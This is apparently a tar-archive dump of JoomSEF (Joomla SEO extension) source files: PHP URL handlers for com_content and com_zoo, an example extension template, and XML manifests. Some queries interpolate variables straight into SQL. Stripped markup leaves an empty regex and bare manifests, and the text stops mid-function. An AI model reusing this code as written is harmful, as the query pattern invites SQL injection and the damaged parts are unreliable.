    com_sef/sef_ext/com_content.php000066600000060454150771500630012656 0ustar00 array((int)$id)); $Itemid = self::_findItem($needles); return $Itemid; } } } class SefExt_com_content extends SefExt { public function getNonSefVars(&$uri) { $this->_createNonSefVars($uri); return array($this->nonSefVars, $this->ignoreVars); } protected function _createNonSefVars(&$uri) { if (!isset($this->nonSefVars) && !isset($this->ignoreVars)) { $this->nonSefVars = array(); $this->ignoreVars = array(); } $this->params =& SEFTools::GetExtParams('com_content'); $sefConfig = SEFConfig::getConfig(); if ($sefConfig->appendNonSef && ($this->params->get('pagination', '0') != '0')) { if (!is_null($uri->getVar('limit'))) { $this->nonSefVars['limit'] = $uri->getVar('limit'); } if (!is_null($uri->getVar('limitstart'))) { $this->nonSefVars['limitstart'] = $uri->getVar('limitstart'); } } if (!is_null($uri->getVar('filter'))) { $this->nonSefVars['filter'] = $uri->getVar('filter'); } if (!is_null($uri->getVar('return'))) $this->nonSefVars['return'] = $uri->getVar('return'); } protected function _getArticle($id) { $sefConfig = SEFConfig::getConfig(); $title=array(); $field = 'title'; if (SEFTools::UseAlias($this->params, 'title_alias')) { $field = 'alias'; } $id = intval($id); $query = "SELECT `id`, `title`, `alias`, `introtext`, `fulltext`, `language`, `metakey`, `metadesc`, `metadata`, `catid` FROM `#__content` WHERE `id` = '{$id}'"; $this->_db->setQuery($query); $row = $this->_db->loadObject('stdClass', $this->config->translateItems); // Article dont exists if (!is_object($row)) { JoomSefLogger::Log("Article with ID {$id} could not be found.", $this, 'com_content'); return array(); } $catInfo = $this->getCategory($row->catid, true); if ($catInfo === false) { return array(); } if($this->params->get('show_category', '2') != 0) { if (is_array($catInfo->path) && (count($catInfo->path) > 0)) { $title = array_merge($title, $catInfo->path); } } //$this->item_desc = $row->introtext; if ($this->params->get('googlenewsnum', 0) == 0) { $title[] = (($this->params->get('articleid', '0') == 1) ? $id.'-' : '').$row->$field; } else { $title = array_merge($title, $this->GoogleNews($row->$field, $id)); } $this->getMetaData($row); if ($this->params->get('meta_titlecat',0) == 1) { $this->pageTitle = $row->title; $metatitle = array_merge(array($row->title), $catInfo->titles); $this->metatags["metatitle"] = implode(" - ", $metatitle); } $this->metadesc = $row->introtext; $this->origmetadesc = $row->metadesc; $this->metakeySource = $row->fulltext; $this->origmetakey = $row->metakey; $this->articleText = $row->introtext . chr(13) . chr(13) . $row->fulltext; return $title; } /** * Returns cached instance of content router menu rules, used to search correct Itemid * * @return JComponentRouterRulesMenu */ private function getContentMenuRules() { static $rules = null; if (!$rules) { $app = JFactory::getApplication(); $router = new ContentRouter($app, $app->getMenu()); $rules = new JComponentRouterRulesMenu($router); } return $rules; } /** * Called before the non-SEF URL is searched in the database * * @param JUri $uri */ public function beforeCreate(&$uri) { // remove the limitstart and limit variables if they point to the first page if (!is_null($uri->getVar('limitstart')) && ($uri->getVar('limitstart') == '0')) { $uri->delVar('limitstart'); $uri->delVar('limit'); } // Remove empty variables if ($uri->getVar('limitstart') == '') { $uri->delVar('limitstart'); } if ($uri->getVar('showall') == '') { $uri->delVar('showall'); } // Try to guess the correct Itemid if set to if ($this->params->get('guessId', '0') != '0') { if (version_compare(JVERSION, '3.7', 'ge')) { // Use new objects if (!is_null($uri->getVar('id'))) { $query = $uri->getQuery(true); // Convert lang code to tag if set, so the menu rules can find menu items for correct language if (!empty($query['lang'])) { $query['lang'] = JoomSEF::getLangCode($query['lang']); } $this->getContentMenuRules()->preprocess($query); if (!empty($query['Itemid'])) { $uri->setVar('Itemid', $query['Itemid']); } } } else { // Backwards compatibility for Joomla <3.7 if (!is_null($uri->getVar('Itemid')) && !is_null($uri->getVar('id'))) { $itemid = SefExtContentRouteHelper::getItemid($uri->getVar('id')); if (!is_null($itemid)) { $uri->setVar('Itemid', $itemid); } } } } // Remove the part after ':' from variables if (!is_null($uri->getVar('id'))) SEFTools::fixVariable($uri, 'id'); if (!is_null($uri->getVar('catid'))) SEFTools::fixVariable($uri, 'catid'); // TODO: We should remove this, as it generates 1 unnecessary SQL query for each article link, // instead the catid should just be always removed from article URL (but when updating JoomSEF, // we'll need to update URLs already in database to reflect such change = remove catid from them!) // If catid not given, try to find it $catid = $uri->getVar('catid'); if (!is_null($uri->getVar('view')) && ($uri->getVar('view') == 'article') && !is_null($uri->getVar('id')) && empty($catid)) { $id = $uri->getVar('id'); $query = "SELECT `catid` FROM `#__content` WHERE `id` = ".(int)$id; $this->_db->setQuery($query); $catid = $this->_db->loadResult(); if (is_null($catid)) { JoomSefLogger::Log("Article with ID {$id} could not be found.", $this, 'com_content'); } if (!empty($catid)) { $uri->setVar('catid', $catid); } } // remove empty id in categories list if ($uri->getVar('view') == 'categories' && ! (int) $uri->getVar('id')) $uri->delVar('id'); return; } protected function GoogleNews($title, $id) { $db = JFactory::getDBO(); $num = ''; $add = $this->params->get('googlenewsnum', '0'); if ($add == '1' || $add == '3') { // Article ID $digits = trim($this->params->get('digits', '3')); if (!is_numeric($digits)) { $digits = '3'; } $num1 = sprintf('%0'.$digits.'d', $id); } if ($add == '2' || $add == '3') { // Publish date $query = "SELECT `publish_up` FROM `#__content` WHERE `id` = ".(int)$id; $db->setQuery($query); $time = $db->loadResult(); $time = strtotime($time); $date = $this->params->get('dateformat', 'ddmm'); $search = array('dd', 'd', 'mm', 'm', 'yyyy', 'yy'); $replace = array(date('d', $time), date('j', $time), date('m', $time), date('n', $time), date('Y', $time), date('y', $time) ); $num2 = str_replace($search, $replace, $date); } if ($add == '1') { $num = $num1; } else if ($add == '2') { $num = $num2; } else if ($add == '3') { $sep = $this->params->get('iddatesep', ''); if ($this->params->get('iddateorder', '0') == '0') { $num = $num2.$sep.$num1; } else { $num = $num1.$sep.$num2; } } if (!empty($num)) { $onlyNum = ($this->params->get('title_alias', 'global') == 'googlenews'); if ($onlyNum) { $title = $num; } else { $sep = $this->params->get('iddatesep', ''); if (empty($sep)) { $sefConfig = SEFConfig::getConfig(); $sep = $sefConfig->replacement; } $where = $this->params->get('numberpos', '1'); if( $where == '1' ) { $title = $title.$sep.$num; } else { $title = $num.$sep.$title; } } } // Support for slashes $title = explode('/', $title); return $title; } function _processPagination(&$uri) { $title=array(); $sefConfig = SEFConfig::getConfig(); $handle=$this->params->get('pagination',0); if($sefConfig->appendNonSef==true && $handle==1 ) { $this->nonSefVars['limitstart'] = $uri->getVar('limitstart'); return array(); } //$appParams=JFactory::getApplication('site')->getParams(); $appParams=JApplication::getInstance('site')->getParams('com_content'); $menu = JFactory::getApplication()->getMenu('site'); $Itemid = $uri->getVar('Itemid'); if (!$Itemid) { // We need to find Itemid first $active = $menu->getActive(); if (is_null($active)) { $active = $menu->getDefault(); } $Itemid = $active->id; } $menuParams = $menu->getParams($Itemid); // Combine app and menu parameters $params = clone $appParams; $params->merge($menuParams); // View: Article if($uri->getVar("view")=="article") { if(($limitstart=$uri->getVar('limitstart'))>0) { $pagetext = null; if ($this->params->get('multipagetitles', '1') == '1') { $pagetext = $this->_getPageTitle($limitstart); } if (!is_null($pagetext)) { $title[] = $pagetext; } else { $pagetext = strval($limitstart+1); if (($cnfPageText = $sefConfig->getPageText())) { $this->pageNumberText = str_replace('%s', $limitstart+1, $cnfPageText); $title[] = $this->pageNumberText; } } } if($uri->getVar('showall')==1) { if ($this->params->get('always_en', '0') == '1') { $title[] = 'All pages'; } else { $title[] = JText::_('COM_SEF_ALL_PAGES'); } } // Layouts: category default list; View: Archive } else if($uri->getVar("layout")!="blog" && $uri->getVar("view")!="featured") { // If pagination filter is disabled we can make sef URL's with pagination if($params->get('show_pagination_limit',1)==0 || $uri->getVar("view")!="featured") { $limit=$params->get('display_num'); $limitstart=$uri->getVar('limitstart'); if (intval($limit) == 0) { $limit = 1; } @$page=intval($limitstart/$limit)+1; if($page!=1) { $pagetext = strval($page); if (($cnfPageText = $sefConfig->getPageText())) { $this->pageNumberText = str_replace('%s', $page, $cnfPageText); $title[] = $this->pageNumberText; } } } else { if(!is_null($uri->getVar('limitstart'))) { $this->nonSefVars['limitstart'] = $uri->getVar('limitstart'); } } // Layout: category blog; View: featured } else { $leading = $params->get('num_leading_articles', 1); $intro = $params->get('num_intro_articles', 4); $limit = $leading + $intro; if (intval($limit) == 0) { $limit = 1; } $limitstart=$uri->getVar('limitstart'); $page = intval($limitstart / $limit) + 1; if($page!=1) { $pagetext = strval($page); if (($cnfPageText = $sefConfig->getPageText())) { $this->pageNumberText = str_replace('%s', $page, $cnfPageText); $title[] = $this->pageNumberText; } } } return $title; } private function _getPageTitle($page) { jimport('joomla.utilities.utility'); if (empty($this->articleText)) { return null; } // simple performance check if (JString::strpos($this->articleText, 'class="system-pagebreak') === false) { return null; } // regex $regex = '##iU'; // Find all occurences $matches = array(); preg_match_all($regex, $this->articleText, $matches, PREG_SET_ORDER); if (!isset($matches[$page-1]) || !isset($matches[$page-1][2])) { return null; } $attrs = JUtility::parseAttributes($matches[$page-1][0]); if (isset($attrs['alt'])) { return stripslashes($attrs['alt']); } else if (isset($attrs['title'])) { return stripslashes($attrs['title']); } else { return null; } } /** * Returns category with filtered path (excludes selected categories, always leaves the last one) * * @param int $catId * @param bool $removeAll * @return object|bool */ private function getCategory($catId, $removeAll = false) { $catInfo = $this->getCategoryInfo($catId); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$catId} could not be found.", $this, 'com_content'); return false; } $exclude = $this->params->get('exclude_catid', ''); if (is_array($exclude) && is_array($catInfo->path) && ($removeAll || (count($catInfo->path) > 1))) { foreach ($catInfo->path_ids as $key => $id) { if (in_array($id, $exclude)) { // Exclude this category unset($catInfo->path[$key]); unset($catInfo->path_ids[$key]); unset($catInfo->titles[$key]); if (!$removeAll && count($catInfo->path) < 2) break; } } } return $catInfo; } public function create(&$uri) { $this->metadesc = null; $this->cat_desc = null; $this->item_desc = null; $sefConfig = SEFConfig::getConfig(); $title = array(); $vars = $uri->getQuery(true); extract($vars); $this->_createNonSefVars($uri); // Set title. $title[] = JoomSEF::_getMenuTitleLang(@$option, $this->lang, @$Itemid); // #19413: Handle task first, it has higher priority than view if (isset($task) && $task == 'article.add') { if (isset($catid)) { $catInfo = $this->getCategory($catid); if ($catInfo === false) { return $uri; } if (is_array($catInfo->path) && (count($catInfo->path) > 0)) { $title = array_merge($title, $catInfo->path); } } if ($this->params->get('always_en', '0') == '1') { $title[] = 'New'; } else { $title[]=JText::_('COM_SEF_NEW'); } } else if (isset($task) && $task == 'article.edit') { if(isset($a_id)) { $title=array_merge($title,$this->_getArticle($a_id)); } if ($this->params->get('always_en', '0') == '1') { $title[] = 'Edit'; } else { $title[]=JText::_('COM_SEF_EDIT'); } } else { switch (@$view) { case 'form': // 13.2.2012, dajo: Don't SEF return $uri; //$this->nonSefVars = array(); //$this->nonSefVars["return"]=@$return; //if(isset($a_id)) { // $title=array_merge($title,$this->_getArticle($a_id)); //} //$title[] = JText::_('COM_SEF_FORM'); //break; case 'featured': if(isset($format) && $format=="feed") { @$title[]=$type; } $title=array_merge($title,$this->_processPagination($uri)); break; case 'categories': break; case 'category': if (isset($id)) { $catInfo = $this->getCategory($id); if ($catInfo === false) { return $uri; } if (is_array($catInfo->path) && (count($catInfo->path) > 0)) { $title = array_merge($title, $catInfo->path); } } if($this->params->get('add_layout', 0) == 2 || ($this->params->get('add_layout', 0) == 1 && $this->params->get('def_layout', 'default') != @$layout)) { @$title[]=$layout; } if(isset($format) && $format=="feed") { @$title[]=$type; } $title=array_merge($title,$this->_processPagination($uri)); break; case 'article': $articleInfo = $this->_getArticle($id); if (!$articleInfo) return $uri; $title = array_merge($title, $articleInfo); $title = array_merge($title, $this->_processPagination($uri)); break; case 'archive': if( !empty($year) ) { $title[] = $year; } if( !empty($month) ) { $title[] = $month; } $title=array_merge($title,$this->_processPagination($uri)); break; default: // Don't SEF return $uri; } } // #34487: Handle format=pdf if (isset($format) && $format == 'pdf') { $title[] = $format; } // Handle printing if (isset($print) && (intval($print) == 1)) { if ($this->params->get('always_en', '0') == '1') { $title[] = 'Print'; } else { $title[] = JText::_('JGLOBAL_PRINT'); } } $newUri = $uri; if (count($title) > 0) { // Generate meta tags $this->metatags=$this->getMetaTags(); if (($this->params->get('meta_titlepage', '0') == '1') && !empty($this->pageNumberText)) { // Add page number to page title if (!empty($this->metatags["metatitle"])) { $this->metatags["metatitle"] .= ' - '.$this->pageNumberText; } else { $this->metatags["metatitle"] = (!empty($this->pageTitle) ? $this->pageTitle.' - ' : '') . $this->pageNumberText; } } $priority = $this->getPriority($uri); $sitemap = $this->getSitemapParams($uri); if(isset($this->lang)) { $lang=$this->lang; } $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang, $this->nonSefVars, null, $this->metatags, $priority, true,null, $sitemap); } return $newUri; } function getSitemapParams(&$uri) { if ($uri->getVar('format', 'html') != 'html') { // Handle only html links return array(); } $view = $uri->getVar('view'); $sm = array(); switch ($view) { case 'article': case 'category': $indexed = $this->params->get('sm_'.$view.'_indexed', '1'); $freq = $this->params->get('sm_'.$view.'_freq', ''); $priority = $this->params->get('sm_'.$view.'_priority', ''); if (!empty($indexed)) $sm['indexed'] = $indexed; if (!empty($freq)) $sm['frequency'] = $freq; if (!empty($priority)) $sm['priority'] = $priority; break; } return $sm; } public function getPriority(&$uri) { $itemid = $uri->getVar('Itemid'); $view = $uri->getVar('view'); $layout = $uri->getVar('layout'); switch($view) { case 'article': if( is_null($itemid) ) { return _COM_SEF_PRIORITY_CONTENT_ARTICLE; } else { return _COM_SEF_PRIORITY_CONTENT_ARTICLE_ITEMID; } break; case 'category': if( $layout == 'blog' ) { if( is_null($itemid) ) { return _COM_SEF_PRIORITY_CONTENT_CATEGORYBLOG; } else { return _COM_SEF_PRIORITY_CONTENT_CATEGORYBLOG_ITEMID; } } else { if( is_null($itemid) ) { return _COM_SEF_PRIORITY_CONTENT_CATEGORYLIST; } else { return _COM_SEF_PRIORITY_CONTENT_CATEGORYLIST_ITEMID; } } break; default: return null; break; } } function getURLPatterns($item) { $urls=array(); if($item->getTableName()=='#__categories') { // Category view $urls[]='index\.php\?option=com_content(&format=feed)?&id='.$item->id.'&'; // Content View $urls[]='index\.php\?option=com_content&catid='.$item->id.'&id='; $tree=$item->getTree($item->id); foreach($tree as $catitem) { $urls[]='index\.php\?option=com_content(&format=feed)?&id='.$catitem->id.'&'; $urls[]='index\.php\?option=com_content&catid='.$catitem->id.'&id='; } } else { $urls[]='index\.php\?option=com_content(&catid=([0-9])*)*&id='.$item->id.'(&lang=[a-z]+)?(&limitstart=[0-9]+)?(&type=(atom|rss))?&view=article'; } return $urls; } } com_sef/sef_ext/_com_example.txt000066600000005423150771500630013021 0ustar00 /** * SEF module for Joomla! * * This is an example file demonstrating how to write own extensions for Artio JoomSEF. * * @author $Author: michal $ * @copyright ARTIO s.r.o., http://www.artio.cz * @package JoomSEF * @version $Name$, ($Revision: 4994 $, $Date: 2005-11-03 20:50:05 +0100 (??t, 03 XI 2005) $) */ // Security check to ensure this file is being included by a parent file. if (!defined('_VALID_MOS')) die('Direct Access to this location is not allowed.'); /** * Note 1: This file shoud be named as com_YOUR-COMPONENT-NAME.php in order to work correctly. */ /** * Use this to get variables from the original Joomla! URL, such as $task, $page, $id, $catID, ... */ extract($vars); /** * Now compose your SEF path. * Store the path parts in an array. Further named $fields in this example. * * To compose the path, you will probably need to call your module funcitons (methods) or connect * to the tables used by your module. */ // This example loads category title from Joomlaboard forum (in case $catid is defined after export call). if (isset($catid)) { $query = " SELECT `name` FROM `#__$message_cat_table_suffix` WHERE `id` = $catid "; $database->setQuery($query); $catTitle = $database->loadResult(); } // Now category title loaded from DB is added as the first part of the future SEF path. if (!empty($catTitle)) { $title[] = $catTitle; // Unset the original URL variable not to interfere anymore. unset($vars['catid']); } // This example loads message title from Joomlaboard forum (in case $id is defined after export call). if (isset($id)) { $query = " SELECT `subject` FROM `#__$message_table_suffix` WHERE `id` = $id "; $database->setQuery($query); $msgTitle = $database->loadResult(); } // Now message title read from DB is added as the next part of the SEF path. if (!empty($msgTitle)) { $title[] = $msgTitle; // Unset the original URL variable not to interfere anymore. unset($vars['id']); } // ... further parts may be added here ... // /** * Finally, at the end of this file, call JoomSEF::sefGetLocation method to generate and store resulting URL. * * $string - original URL which comes automatically (do not change this) * $title - your SEF path (array of single parts) * $task - if not empty (null), the task string will be appended to resulting SEF URL, * e.g. if task=read, the result URL will be your/parts/read(suffix) */ if (count($title) > 0) { $string = JoomSEF::sefGetLocation($string, $title, $task, (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), (isset($lang) ? @$lang : null)); } /** * And that is all folks! */ com_sef/sef_ext/com_mailto.xml000066600000001401150771500630012465 0ustar00 Mail To ARTIO s.r.o. 22. June 2010 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.1 Adds SEO support for Mail To component. com_mailto.php http://www.artio.net/joomla-updates/list/ext_joomsef4_mailto.xml com_sef/sef_ext/com_weblinks.xml000066600000027725150771500630013037 0ustar00 WebLinks ARTIO s.r.o. 8. March 2012 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.4 Adds SEO support for WebLinks component. com_weblinks.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_weblinks.xml
    com_sef/sef_ext/com_zoo.php000066600000061642150771500630012013 0ustar00_createNonSefVars($uri); return array($this->nonSefVars, $this->ignoreVars); } protected function _createNonSefVars(&$uri) { if (!isset($this->nonSefVars) && !isset($this->ignoreVars)) { $this->nonSefVars = array(); $this->ignoreVars = array(); } if (!is_null($uri->getVar('limit'))) { $this->nonSefVars['limit'] = $uri->getVar('limit'); } if (!is_null($uri->getVar('limitstart'))) { $this->nonSefVars['limitstart'] = $uri->getVar('limitstart'); } if (!is_null($uri->getVar('submission_hash'))) { $this->nonSefVars['submission_hash'] = $uri->getVar('submission_hash'); } if (!is_null($uri->getVar('page')) && ($this->params->get('nonsef_page', '0') == '1')) { $this->nonSefVars['page'] = $uri->getVar('page'); } } /** * Gets (nested) categories array. * * @param int category id * @param int if get parent categories too (1=no, 2=yes) * @param bool if NOT append record id (if is set in config) */ function getCategoryTitle($id,$cats=2,$nice=false) { //$this->params->get('categoryid_inc', '0') != '0') $categories = array(); $field = 'name'; if(SEFTools::UseAlias($this->params, 'category_part') AND !$nice) $field = 'alias'; while ($id > 0) { $database =& JFactory::getDBO(); $database->setQuery("SELECT id, $field AS title, parent FROM #__zoo_category WHERE id =".$id); $rows = $database->loadRow(); $name = (($this->params->get('categoryid_inc', '0') != '0' AND !$nice)? $id.'-' : '').$rows[1]; array_unshift($categories, $name); $id = $rows[2]; if ($cats == '1') break; // Only last cat } return $categories; } /** * Gets item title array (with (nested) categories) * * @param int item id * @param bool if NOT append record id (if is set in config) */ function getItemTitle($id, $nice=false) { $category = array(); $field = 'i.name'; if(SEFTools::UseAlias($this->params, 'item_part') AND !$nice) { $field = 'i.alias'; } $database =& JFactory::getDBO(); $database->setQuery ( "SELECT i.id, $field AS title, ci.category_id, i.params, i.elements, i.publish_up FROM #__zoo_item AS i, #__zoo_category_item AS ci WHERE ci.item_id = i.id AND i.id =".$id." ORDER BY ci.category_id DESC"); $row = $database->loadObject(); // Try to get category ID from params $catid = null; if (!empty($row->params)) { $itemParams = new JRegistry($row->params); // We need to use array conversion, as JRegistry can't correctly handle keys with dots $itemParams = $itemParams->toArray(); if (isset($itemParams['config.primary_category'])) { $catid = $itemParams['config.primary_category']; } } if (is_null($catid) && !empty($row->category_id)) { $catid = $row->category_id; } if(!empty($catid) AND $this->params->get('category_inc', '2')!=0) //append category (if set to) $category = $this->getCategoryTitle($catid, $this->params->get('category_inc', '2'), $nice); if ($this->params->get('googlenewsnum', '0') == '0') { $name = ( ($this->params->get('itemid_inc', '0') != '0' AND !$nice) ? $id.'-' : '' ).$row->title; array_push($category, $name); } else { $category = array_merge($category, $this->GoogleNews($row)); } return $category; } /** * Creates title for given item using Google News numbering parameters */ function GoogleNews($item) { $num = ''; $add = $this->params->get('googlenewsnum', '0'); if ($add == '1' || $add == '3') { // Item ID $digits = trim($this->params->get('digits', '3')); if (!is_numeric($digits)) { $digits = '3'; } $num1 = sprintf('%0'.$digits.'d', $item->id); } if ($add == '2' || $add == '3') { // Publish date $time = strtotime($item->publish_up); $date = $this->params->get('dateformat', 'ddmm'); $search = array('dd', 'd', 'mm', 'm', 'yyyy', 'yy'); $replace = array( date('d', $time), date('j', $time), date('m', $time), date('n', $time), date('Y', $time), date('y', $time)); $num2 = str_replace($search, $replace, $date); } if ($add == '1') { $num = $num1; } else if ($add == '2') { $num = $num2; } else if ($add == '3') { $sep = $this->params->get('iddatesep', ''); if ($this->params->get('iddateorder', '0') == '0') { $num = $num2.$sep.$num1; } else { $num = $num1.$sep.$num2; } } $title = $item->title; if (!empty($num)) { $onlyNum = ($this->params->get('googlenewstitle', '1') == '0'); if ($onlyNum) { $title = $num; } else { $sep = $this->params->get('iddatesep', ''); if (empty($sep)) { $sefConfig =& SEFConfig::getConfig(); $sep = $sefConfig->replacement; } $where = $this->params->get('numberpos', '1'); if( $where == '1' ) { $title = $title.$sep.$num; } else { $title = $num.$sep.$title; } } } // Support for slashes $title = explode('/', $title); return $title; } /** * Gets app title. * * @param int app id * @param bool if NOT append record id (if is set in config) */ function getApplicationTitle($id,$nice=false) { $database =& JFactory::getDBO(); $database->setQuery ( "SELECT id, name FROM #__zoo_application WHERE id =".$id); $rows = $database->loadRow(); $name = ( ($this->params->get('applicationid_inc', '0') != '0' AND !$nice) ? $id.'-' : '' ).$rows[1]; return $name; } /** * Gets submission title. * * @param int submission id */ function getSubmissionTitle($id) { $database =& JFactory::getDBO(); $database->setQuery("SELECT id, name, alias FROM #__zoo_submission WHERE id = ".intval($id)); $row = $database->loadObject(); if (is_null($row)) { return null; } $field = $this->params->get('submission_name_inc', 'name'); $name = $row->$field; if ($this->params->get('submission_name_id_inc', '0') == '1') { $name = $id.'-'.$name; } return $name; } /** * Writes metadata to inner class variables. * * @param string type of page * @param id pk of record * @param object uri object for frontpage */ function getMetaData ($type, $id=0, & $uri=null) { $database =& JFactory::getDBO(); switch ($type) { case 'item': //get new and old desc field //get title and append cat ids �(if set) $database->setQuery ( "SELECT i.id, i.name AS title, ci.category_id,i.params,i.elements,i.application_id FROM #__zoo_item AS i, #__zoo_category_item AS ci WHERE ci.item_id = i.id AND i.id =".(int)$id." ORDER BY ci.category_id DESC"); $rows = $database->loadAssoc(); //get meta title $this->metatitle = $rows['title']; if ($this->params->get('meta_titlecat', '1')>0 AND $rows['category_id']!=0) //add cat to title $this->metatitle.= ' - '.implode(' - ',$this->getCategoryTitle($rows['category_id'],$this->params->get('meta_titlecat', '1'),true)); if ($this->params->get('meta_titleapp', '0') == '1') //add app to title $this->metatitle.=' - '.$this->getApplicationTitle($rows['application_id'],true); //get metakey/desc $articleText=''; if (preg_match_all('/<(?:textarea|text)(?: [^>]*)?>(.*)<\/(?:textarea|text)>/ixUs',$rows['elements'],$matches)>0) { foreach ($matches[1] as $match) $articleText.=strip_tags(preg_replace('/(|\n|\r|\t)/isUx','',$match)).' '; } $this->metadesc = $this->metakeySource = $articleText; //get original metadata $params = json_decode($rows['params'],true); if (isset($params['metadata.description']) AND trim($params['metadata.description'])!='') $this->origmetadesc = $params['metadata.description']; if (isset($params['metadata.keywords']) AND trim($params['metadata.keywords'])!='') $this->origmetakey = $params['metadata.keywords']; break; case 'category': //get metakey/desc $database->setQuery ( "SELECT id, name, description, application_id FROM #__zoo_category WHERE id =".(int)$id); $rowCat = $database->loadRow(); $this->metadesc = $rowCat[1].' '.$rowCat[2]; $this->metakeySource = $rowCat[1].' '.$rowCat[2]; //get meta title $this->metatitle = implode(' - ',$this->getCategoryTitle($id,2,true)); if ($this->params->get('meta_titleapp', '0') == '1') //add app to title $this->metatitle.=' - '.$this->getApplicationTitle($rowCat[3],true); break; case 'frontpage': //get application id from menu item params $menuItem = $this->_getMenuItemInfo($uri->getVar('option'), $uri->getVar('task'), $uri->getVar('Itemid')); if ($menuItem && is_object($menuItem->params)){ $applicationId = $menuItem->params->get('application'); if(!empty($applicationId)) $this->metatitle = $this->getApplicationTitle($applicationId,true); } break; } } function _getMenuItemInfo($option, $task, $id = null, $string = null) { $db =& JFactory::getDBO(); $sefConfig =& SEFConfig::getConfig(); // JF translate extension. $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; $item->title = JoomSEF::_getCustomMenuTitle($option); $item->params = null; // Which column to use? $column = 'title'; if ($sefConfig->useAlias) $column = 'alias'; // first test Itemid if (isset($id) && $id != 0) { $sql = "SELECT id, `$column` AS `name`, `params`$jfTranslate FROM `#__menu` WHERE `id` = $id AND `published` > 0"; } elseif (isset($string)) { $sql = "SELECT id, `$column`AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` = '$string' AND `published` > 0"; } else { // Search for direct link to component only $sql = "SELECT id, `$column` AS `name`, `params` $jfTranslate FROM `#__menu` WHERE `link` = 'index.php?option=$option' AND `published` > 0"; } $db->setQuery($sql); $row = $db->loadObject(); if (!empty($row)) { if (!empty($row->name) && !$item->title) $item->title = $row->name; $item->params = new JRegistry($row->params); } else { $item->title = str_replace('com_', '', $option); if (!isset($string) && !isset($id)) { // Try to extend the search for any link to component $sql = "SELECT id, `$column`, `params` AS `name`$jfTranslate FROM `#__menu` WHERE `link` LIKE 'index.php?option=$option%' AND `published` > 0"; $db->setQuery($sql); $row = $db->loadObject(); if (!empty($row)) { if (!empty($row->name) && !$item->title) $item->title = $row->name; $item->params = new JRegistry($row->params); } } } return $item; } function beforeCreate(&$uri) { $this->params = SEFTools::getExtParams('com_zoo'); // Version 2 if(!is_null($uri->getVar('task')) && $uri->getVar('task') == 'category') { $uri->delVar('task'); $uri->setVar('view', 'category'); } if(!is_null($uri->getVar('task')) && $uri->getVar('task') == 'item') { $uri->delVar('task'); $uri->setVar('view', 'item'); } if($uri->getVar('view') == 'item' && !is_null($uri->getVar('category_id')) && !is_null($uri->getVar('item_id'))) { $uri->delVar('category_id'); } // Load cat id if it is menu item if($uri->getVar('view') == 'category' && (is_null($uri->getVar('category_id')) || $uri->getVar('category_id') == 0)) { $menuItem = $this->_getMenuItemInfo($uri->getVar('option'), null, $uri->getVar('Itemid')); if ($menuItem && is_object($menuItem->params)){ $id = $menuItem->params->get('category'); if(!empty($id)) { $uri->setVar('category_id', $id); } } } // Load item id if it is menu item if($uri->getVar('view') == 'item' && (is_null($uri->getVar('item_id')) || $uri->getVar('item_id') == 0)){ $menuItem = $this->_getMenuItemInfo($uri->getVar('option'), null, $uri->getVar('Itemid')); if ($menuItem && is_object($menuItem->params)){ $id = $menuItem->params->get('item_id'); if(!empty($id)) { $uri->setVar('item_id', $id); } } } if(!is_null($uri->getVar('category_id')) && is_null($uri->getVar('view'))) { $uri->setVar('view', 'category'); } return; } function create(&$uri) { $vars = $uri->getQuery(true); extract($vars); $title = array(); $this->params = SEFTools::getExtParams('com_zoo'); //append menu title (?) $title[] = JoomSEF::_getMenuTitle(@$option, @$task, @$Itemid); //append application name (if set) if($this->params->get('application_inc', '1') == '1') { $database =& JFactory::getDBO(); if (!empty($item_id)) //get application id from item { $database->setQuery("SELECT application_id FROM #__zoo_item WHERE id =".(int)$item_id); $applicationTitle = $this->getApplicationTitle($database->loadResult()); } elseif(!empty($category_id)) //get application id from category { $database->setQuery("SELECT application_id FROM #__zoo_category WHERE id =".(int)$category_id); $applicationTitle = $this->getApplicationTitle($database->loadResult()); } elseif (isset($app_id)) $applicationTitle = $this->getApplicationTitle($app_id); else //get application id from menu item params { $menuItem = $this->_getMenuItemInfo($uri->getVar('option'), $uri->getVar('task'), $uri->getVar('Itemid')); if ($menuItem && isset($menuItem->params) && is_object($menuItem->params)){ $applicationId = $menuItem->params->get('application'); if(!empty($applicationId)) $applicationTitle = $this->getApplicationTitle($applicationId); } } if (isset($applicationTitle)) $title[] = $applicationTitle; } /* if($this->params->get('version_inc', '1') == '1'){ */ // Version 2 if(!empty($item_id)) { //it is item $title = array_merge($title, $this->getItemTitle($item_id)); $this->getMetaData('item',$item_id); } elseif(!empty($category_id)) { $title = array_merge($title, $this->getCategoryTitle($category_id,2)); $this->getMetaData('category',$category_id); } if(isset($view)) { switch($view) { case 'category': if($category_id == 0){ $title[] = JText::_('Categories'); } unset($view); break; case 'item': unset($view); break; case 'frontpage': $this->getMetaData('frontpage',0,$uri); if($this->params->get('application_inc', '1') == '0') { //get application id from menu item params $menuItem = $this->_getMenuItemInfo($uri->getVar('option'), $uri->getVar('task'), $uri->getVar('Itemid')); if ($menuItem && is_object($menuItem->params)){ $applicationId = $menuItem->params->get('application'); if(!empty($applicationId)) array_splice($title, 1, 0, $this->getApplicationTitle($applicationId)); //insert application to the second position }} unset($view); break; case 'submission': if ($this->params->get('submission_text_inc', '1') == '1') { if (isset($layout) && ($layout == 'mysubmissions')) { $title[] = JText::_('My submissions'); } else { $title[] = JText::_('Submission'); } } // Load submission id and type id $submit = true; if (!isset($submission_id) || !isset($type_id)) { $submit = false; $menuItem = $this->_getMenuItemInfo($uri->getVar('option'), null, $uri->getVar('Itemid')); if ($menuItem && is_object($menuItem->params)) { $submission_id = $menuItem->params->get('submission'); $type_id = $menuItem->params->get('type'); } } if (!empty($submission_id) && ($this->params->get('submission_name_inc', 'name') != 'no')) { $title[] = $this->getSubmissionTitle($submission_id); } if (!empty($type_id) && ($this->params->get('submission_type_inc', '1') == '1')) { $title[] = $type_id; } if ($submit) { $title[] = JText::_('Submit'); } unset($view); break; default: $title[] = $view; unset($view); } } if(isset($task)) { switch($task) { case 'category': case 'tag': case 'item': case 'frontpage': $this->getMetaData('frontpage',0,$uri); unset($task); 